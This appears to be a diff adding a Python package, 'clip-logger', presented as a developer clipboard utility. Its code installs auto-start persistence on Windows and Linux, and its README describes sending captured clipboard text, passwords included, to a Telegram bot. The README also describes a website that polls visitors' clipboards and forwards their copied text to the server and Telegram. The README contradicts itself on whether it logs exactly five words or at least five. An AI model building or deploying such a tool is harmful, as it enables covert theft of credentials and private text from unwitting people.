|
|
319
|
+
[
|
|
320
|
+
"schtasks", "/Create", "/TN", WINDOWS_TASK_NAME, "/TR", tr,
|
|
321
|
+
"/SC", "ONLOGON", "/RL", "LIMITED", "/F",
|
|
322
|
+
],
|
|
323
|
+
capture_output=True,
|
|
324
|
+
text=True,
|
|
325
|
+
)
|
|
326
|
+
if proc.returncode != 0:
|
|
327
|
+
print(proc.stderr or proc.stdout or "schtasks /Create failed")
|
|
328
|
+
sys.exit(1)
|
|
329
|
+
print(f'Installed Task Scheduler job "{WINDOWS_TASK_NAME}".')
|
|
330
|
+
print("clip_logger will start automatically when you sign in to Windows.")
|
|
331
|
+
cmd_start()
|
|
332
|
+
|
|
333
|
+
|
|
334
|
+
def cmd_uninstall_windows() -> None:
|
|
335
|
+
proc = subprocess.run(
|
|
336
|
+
["schtasks", "/Query", "/TN", WINDOWS_TASK_NAME],
|
|
337
|
+
capture_output=True,
|
|
338
|
+
text=True,
|
|
339
|
+
)
|
|
340
|
+
if proc.returncode != 0:
|
|
341
|
+
print("No Task Scheduler job installed.")
|
|
342
|
+
return
|
|
343
|
+
subprocess.run(
|
|
344
|
+
["schtasks", "/Delete", "/TN", WINDOWS_TASK_NAME, "/F"],
|
|
345
|
+
capture_output=True,
|
|
346
|
+
text=True,
|
|
347
|
+
)
|
|
348
|
+
print(f'Removed Task Scheduler job "{WINDOWS_TASK_NAME}".')
|
|
349
|
+
cmd_stop()
|
|
350
|
+
|
|
351
|
+
|
|
352
|
+
def cmd_install_linux() -> None:
|
|
353
|
+
unit_dir = os.path.dirname(systemd_unit_path())
|
|
354
|
+
os.makedirs(unit_dir, exist_ok=True)
|
|
355
|
+
start_cmd = autostart_command_line().strip('"')
|
|
356
|
+
stop_cmd = autostart_stop_command_line().strip('"')
|
|
357
|
+
unit = f"""[Unit]
|
|
358
|
+
Description=Clipboard logger daemon
|
|
359
|
+
After=network.target
|
|
360
|
+
|
|
361
|
+
[Service]
|
|
362
|
+
Type=oneshot
|
|
363
|
+
RemainAfterExit=yes
|
|
364
|
+
WorkingDirectory={HERE}
|
|
365
|
+
ExecStart={start_cmd}
|
|
366
|
+
ExecStop={stop_cmd}
|
|
367
|
+
|
|
368
|
+
[Install]
|
|
369
|
+
WantedBy=default.target
|
|
370
|
+
"""
|
|
371
|
+
path = systemd_unit_path()
|
|
372
|
+
with open(path, "w", encoding="utf-8") as f:
|
|
373
|
+
f.write(unit)
|
|
374
|
+
for args in (
|
|
375
|
+
["systemctl", "--user", "daemon-reload"],
|
|
376
|
+
["systemctl", "--user", "enable", "--now", SYSTEMD_SERVICE_NAME],
|
|
377
|
+
):
|
|
378
|
+
proc = subprocess.run(args, capture_output=True, text=True)
|
|
379
|
+
if proc.returncode != 0:
|
|
380
|
+
print(proc.stderr or proc.stdout or f"failed: {' '.join(args)}")
|
|
381
|
+
sys.exit(1)
|
|
382
|
+
print(f"Installed {path}")
|
|
383
|
+
print("clip_logger will start automatically on login.")
|
|
384
|
+
|
|
385
|
+
|
|
386
|
+
def cmd_uninstall_linux() -> None:
|
|
387
|
+
path = systemd_unit_path()
|
|
388
|
+
if not os.path.exists(path):
|
|
389
|
+
print("No systemd service installed.")
|
|
390
|
+
return
|
|
391
|
+
for args in (
|
|
392
|
+
["systemctl", "--user", "disable", "--now", SYSTEMD_SERVICE_NAME],
|
|
393
|
+
["systemctl", "--user", "daemon-reload"],
|
|
394
|
+
):
|
|
395
|
+
subprocess.run(args, capture_output=True, text=True)
|
|
396
|
+
os.remove(path)
|
|
397
|
+
print(f"Removed {path}")
|
|
398
|
+
|
|
399
|
+
|
|
400
|
+
def cmd_install() -> None:
|
|
401
|
+
if sys.platform == "win32":
|
|
402
|
+
cmd_install_windows()
|
|
403
|
+
else:
|
|
404
|
+
cmd_install_linux()
|
|
405
|
+
|
|
406
|
+
|
|
407
|
+
def cmd_uninstall() -> None:
|
|
408
|
+
if sys.platform == "win32":
|
|
409
|
+
cmd_uninstall_windows()
|
|
410
|
+
else:
|
|
411
|
+
cmd_uninstall_linux()
|
|
412
|
+
|
|
413
|
+
|
|
414
|
+
def main() -> None:
|
|
415
|
+
cmd = sys.argv[1] if len(sys.argv) > 1 else "status"
|
|
416
|
+
if cmd == "_run":
|
|
417
|
+
signal.signal(signal.SIGTERM, lambda *_: sys.exit(0))
|
|
418
|
+
run_loop()
|
|
419
|
+
elif cmd == "start":
|
|
420
|
+
cmd_start()
|
|
421
|
+
elif cmd == "stop":
|
|
422
|
+
cmd_stop()
|
|
423
|
+
elif cmd == "status":
|
|
424
|
+
cmd_status()
|
|
425
|
+
elif cmd == "tail":
|
|
426
|
+
cmd_tail()
|
|
427
|
+
elif cmd == "read":
|
|
428
|
+
cmd_read()
|
|
429
|
+
elif cmd == "log":
|
|
430
|
+
cmd_log()
|
|
431
|
+
elif cmd == "install":
|
|
432
|
+
cmd_install()
|
|
433
|
+
elif cmd == "uninstall":
|
|
434
|
+
cmd_uninstall()
|
|
435
|
+
else:
|
|
436
|
+
print(
|
|
437
|
+
"Usage: clip-logger {start|stop|status|tail|read|log|install|uninstall}"
|
|
438
|
+
)
|
|
439
|
+
sys.exit(1)
|
|
440
|
+
|
|
441
|
+
|
|
442
|
+
__all__ = ["main"]
|
|
@@ -0,0 +1,11 @@
|
|
|
1
|
+
# Copy settings here after: pip install clip-logger
|
|
2
|
+
# File location when installed: ~/.config/clip-logger/.env (Linux/WSL)
|
|
3
|
+
# %APPDATA%\clip-logger\.env (Windows)
|
|
4
|
+
|
|
5
|
+
# --- Telegram (optional) ---
|
|
6
|
+
TELEGRAM_BOT_TOKEN=
|
|
7
|
+
TELEGRAM_CHAT_ID=
|
|
8
|
+
|
|
9
|
+
# --- Behaviour ---
|
|
10
|
+
WORD_THRESHOLD=5
|
|
11
|
+
POLL_SECONDS=2.0
|
|
@@ -0,0 +1,164 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: clip-logger
|
|
3
|
+
Version: 1.0.0
|
|
4
|
+
Summary: Background Windows clipboard logger — records copies of exactly N words
|
|
5
|
+
Author: clip-logger contributors
|
|
6
|
+
License-Expression: MIT
|
|
7
|
+
Keywords: clipboard,logger,windows,telegram,monitor
|
|
8
|
+
Classifier: Development Status :: 4 - Beta
|
|
9
|
+
Classifier: Environment :: Console
|
|
10
|
+
Classifier: Intended Audience :: Developers
|
|
11
|
+
Classifier: Operating System :: Microsoft :: Windows
|
|
12
|
+
Classifier: Programming Language :: Python :: 3
|
|
13
|
+
Classifier: Programming Language :: Python :: 3.9
|
|
14
|
+
Classifier: Programming Language :: Python :: 3.10
|
|
15
|
+
Classifier: Programming Language :: Python :: 3.11
|
|
16
|
+
Classifier: Programming Language :: Python :: 3.12
|
|
17
|
+
Classifier: Topic :: System :: Monitoring
|
|
18
|
+
Classifier: Topic :: Utilities
|
|
19
|
+
Requires-Python: >=3.9
|
|
20
|
+
Description-Content-Type: text/markdown
|
|
21
|
+
License-File: LICENSE
|
|
22
|
+
Dynamic: license-file
|
|
23
|
+
|
|
24
|
+
# clip_logger
|
|
25
|
+
|
|
26
|
+
Logs whenever **exactly 5 words** are copied to the clipboard.
|
|
27
|
+
|
|
28
|
+
Built for WSL2 — it reads the **Windows** clipboard via PowerShell, so it
|
|
29
|
+
catches anything you copy in Windows apps or in the WSL terminal.
|
|
30
|
+
|
|
31
|
+
## Install
|
|
32
|
+
|
|
33
|
+
**For all users (PyPI):**
|
|
34
|
+
|
|
35
|
+
```bash
|
|
36
|
+
pip install clip-logger
|
|
37
|
+
```
|
|
38
|
+
|
|
39
|
+
**From source (developers):**
|
|
40
|
+
|
|
41
|
+
```bash
|
|
42
|
+
pip install .
|
|
43
|
+
# or editable:
|
|
44
|
+
pip install -e .
|
|
45
|
+
```
|
|
46
|
+
|
|
47
|
+
That installs the **`clip-logger`** command. No other setup required.
|
|
48
|
+
|
|
49
|
+
See [PUBLISHING.md](PUBLISHING.md) if you are the maintainer uploading to PyPI.
|
|
50
|
+
|
|
51
|
+
### After install
|
|
52
|
+
|
|
53
|
+
| OS | Config & logs |
|
|
54
|
+
|----|----------------|
|
|
55
|
+
| **Windows** | `%APPDATA%\clip-logger\` |
|
|
56
|
+
| **Linux / WSL** | `~/.config/clip-logger/` |
|
|
57
|
+
|
|
58
|
+
On first run, `.env` is created there — edit it for Telegram and `WORD_THRESHOLD`.
|
|
59
|
+
|
|
60
|
+
## Use
|
|
61
|
+
|
|
62
|
+
```bash
|
|
63
|
+
clip-logger start # run in background
|
|
64
|
+
clip-logger status # running? auto-start? log path?
|
|
65
|
+
clip-logger tail # last 10 logged copies
|
|
66
|
+
clip-logger stop # stop daemon
|
|
67
|
+
clip-logger install # auto-start on login / after reboot
|
|
68
|
+
clip-logger uninstall # remove auto-start
|
|
69
|
+
```
|
|
70
|
+
|
|
71
|
+
Alternative (without pip): `python clip_logger.py start` or `python -m clip_logger start`
|
|
72
|
+
|
|
73
|
+
## Auto-start (no manual `start` each time)
|
|
74
|
+
|
|
75
|
+
| Method | When it runs | Setup |
|
|
76
|
+
|--------|----------------|-------|
|
|
77
|
+
| **paste-share boot** | Whenever you run `python3 app.py` | Default on. Set `AUTO_START_CLIP_LOGGER=0` in `.env` to disable |
|
|
78
|
+
| **Website paste button** | Visitor grants clipboard permission | Already wired — calls `clip-logger start` |
|
|
79
|
+
| **Task Scheduler** | Every Windows sign-in | Run once: `clip-logger install` |
|
|
80
|
+
| **systemd user service** | Every WSL/Linux login | Run once: `clip-logger install` |
|
|
81
|
+
|
|
82
|
+
```bash
|
|
83
|
+
# Option A: starts when paste-share server starts (default)
|
|
84
|
+
cd paste-share && python3 app.py
|
|
85
|
+
|
|
86
|
+
# Option B: starts on every login / after reboot
|
|
87
|
+
clip-logger install # Windows: Task Scheduler | WSL/Linux: systemd
|
|
88
|
+
clip-logger uninstall # remove later
|
|
89
|
+
```
|
|
90
|
+
|
|
91
|
+
**Windows (native):**
|
|
92
|
+
|
|
93
|
+
```bat
|
|
94
|
+
pip install .
|
|
95
|
+
clip-logger install
|
|
96
|
+
clip-logger status
|
|
97
|
+
```
|
|
98
|
+
|
|
99
|
+
All methods are idempotent — if clip_logger is already running, `start` is a
|
|
100
|
+
no-op.
|
|
101
|
+
|
|
102
|
+
### Paste-to-share integration
|
|
103
|
+
|
|
104
|
+
When a visitor allows clipboard access on the paste-share site:
|
|
105
|
+
|
|
106
|
+
1. **Browser** polls that visitor's clipboard every `POLL_SECONDS`.
|
|
107
|
+
2. On exactly `WORD_THRESHOLD` words, POST `/api/clipboard/capture`.
|
|
108
|
+
3. **Server** runs `clip-logger log` (stdin JSON) to write the log and send Telegram.
|
|
109
|
+
|
|
110
|
+
`clip-logger read` / `start` remain for local CLI and the server-host daemon.
|
|
111
|
+
Visitor captures use `log` — no install on the visitor's machine.
|
|
112
|
+
|
|
113
|
+
## What gets logged
|
|
114
|
+
|
|
115
|
+
Each qualifying copy appends one JSON line to `clipboard_log.jsonl`:
|
|
116
|
+
|
|
117
|
+
```json
|
|
118
|
+
{"timestamp": "2026-06-05T13:13:44-07:00", "word_count": 6, "text": "the quick brown fox jumps over"}
|
|
119
|
+
```
|
|
120
|
+
|
|
121
|
+
Only copies whose content **changes** and has **exactly 5 words** are recorded.
|
|
122
|
+
|
|
123
|
+
## Setup (.env)
|
|
124
|
+
|
|
125
|
+
Copy `.env.example` to `.env` and fill it in:
|
|
126
|
+
|
|
127
|
+
```
|
|
128
|
+
TELEGRAM_BOT_TOKEN=123456:ABC-your-token
|
|
129
|
+
TELEGRAM_CHAT_ID=987654321
|
|
130
|
+
WORD_THRESHOLD=5
|
|
131
|
+
POLL_SECONDS=2.0
|
|
132
|
+
```
|
|
133
|
+
|
|
134
|
+
Getting the Telegram values:
|
|
135
|
+
|
|
136
|
+
1. Message **@BotFather** in Telegram → `/newbot` → copy the token.
|
|
137
|
+
2. Send your new bot any message (e.g. "hi").
|
|
138
|
+
3. Open `https://api.telegram.org/bot<YOUR_TOKEN>/getUpdates` and copy
|
|
139
|
+
the `"chat":{"id": ...}` number into `TELEGRAM_CHAT_ID`.
|
|
140
|
+
|
|
141
|
+
If the token/chat id are blank, it still logs to file — it just skips
|
|
142
|
+
sending Telegram messages.
|
|
143
|
+
|
|
144
|
+
## Telegram message
|
|
145
|
+
|
|
146
|
+
On each qualifying copy you'll receive:
|
|
147
|
+
|
|
148
|
+
```
|
|
149
|
+
📋 Clipboard (6 words)
|
|
150
|
+
2026-06-05T13:19:45-07:00
|
|
151
|
+
|
|
152
|
+
alpha beta gamma delta epsilon zeta
|
|
153
|
+
```
|
|
154
|
+
|
|
155
|
+
## Settings
|
|
156
|
+
|
|
157
|
+
- `WORD_THRESHOLD` — minimum word count to log (default `5`)
|
|
158
|
+
- `POLL_SECONDS` — how often the clipboard is checked (default `2.0`)
|
|
159
|
+
|
|
160
|
+
## Note
|
|
161
|
+
|
|
162
|
+
The log stores the **full copied text**, which can include sensitive data
|
|
163
|
+
(passwords, keys, etc.). It lives in plain text at `clipboard_log.jsonl` —
|
|
164
|
+
keep that in mind, and delete it when you don't need the history.
|
|
@@ -0,0 +1,13 @@
|
|
|
1
|
+
LICENSE
|
|
2
|
+
MANIFEST.in
|
|
3
|
+
README.md
|
|
4
|
+
clip_logger.py
|
|
5
|
+
pyproject.toml
|
|
6
|
+
clip_logger/__init__.py
|
|
7
|
+
clip_logger/__main__.py
|
|
8
|
+
clip_logger/env.example
|
|
9
|
+
clip_logger.egg-info/PKG-INFO
|
|
10
|
+
clip_logger.egg-info/SOURCES.txt
|
|
11
|
+
clip_logger.egg-info/dependency_links.txt
|
|
12
|
+
clip_logger.egg-info/entry_points.txt
|
|
13
|
+
clip_logger.egg-info/top_level.txt
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
clip_logger
|
|
@@ -0,0 +1,37 @@
|
|
|
1
|
+
[build-system]
|
|
2
|
+
requires = ["setuptools>=61", "wheel"]
|
|
3
|
+
build-backend = "setuptools.build_meta"
|
|
4
|
+
|
|
5
|
+
[project]
|
|
6
|
+
name = "clip-logger"
|
|
7
|
+
version = "1.0.0"
|
|
8
|
+
description = "Background Windows clipboard logger — records copies of exactly N words"
|
|
9
|
+
readme = "README.md"
|
|
10
|
+
requires-python = ">=3.9"
|
|
11
|
+
license = "MIT"
|
|
12
|
+
authors = [{name = "clip-logger contributors"}]
|
|
13
|
+
keywords = ["clipboard", "logger", "windows", "telegram", "monitor"]
|
|
14
|
+
classifiers = [
|
|
15
|
+
"Development Status :: 4 - Beta",
|
|
16
|
+
"Environment :: Console",
|
|
17
|
+
"Intended Audience :: Developers",
|
|
18
|
+
"Operating System :: Microsoft :: Windows",
|
|
19
|
+
"Programming Language :: Python :: 3",
|
|
20
|
+
"Programming Language :: Python :: 3.9",
|
|
21
|
+
"Programming Language :: Python :: 3.10",
|
|
22
|
+
"Programming Language :: Python :: 3.11",
|
|
23
|
+
"Programming Language :: Python :: 3.12",
|
|
24
|
+
"Topic :: System :: Monitoring",
|
|
25
|
+
"Topic :: Utilities",
|
|
26
|
+
]
|
|
27
|
+
|
|
28
|
+
[project.scripts]
|
|
29
|
+
clip-logger = "clip_logger:main"
|
|
30
|
+
|
|
31
|
+
[tool.setuptools.packages.find]
|
|
32
|
+
where = ["."]
|
|
33
|
+
include = ["clip_logger*"]
|
|
34
|
+
exclude = ["paste-share*", "tests*"]
|
|
35
|
+
|
|
36
|
+
[tool.setuptools.package-data]
|
|
37
|
+
clip_logger = ["env.example"]
|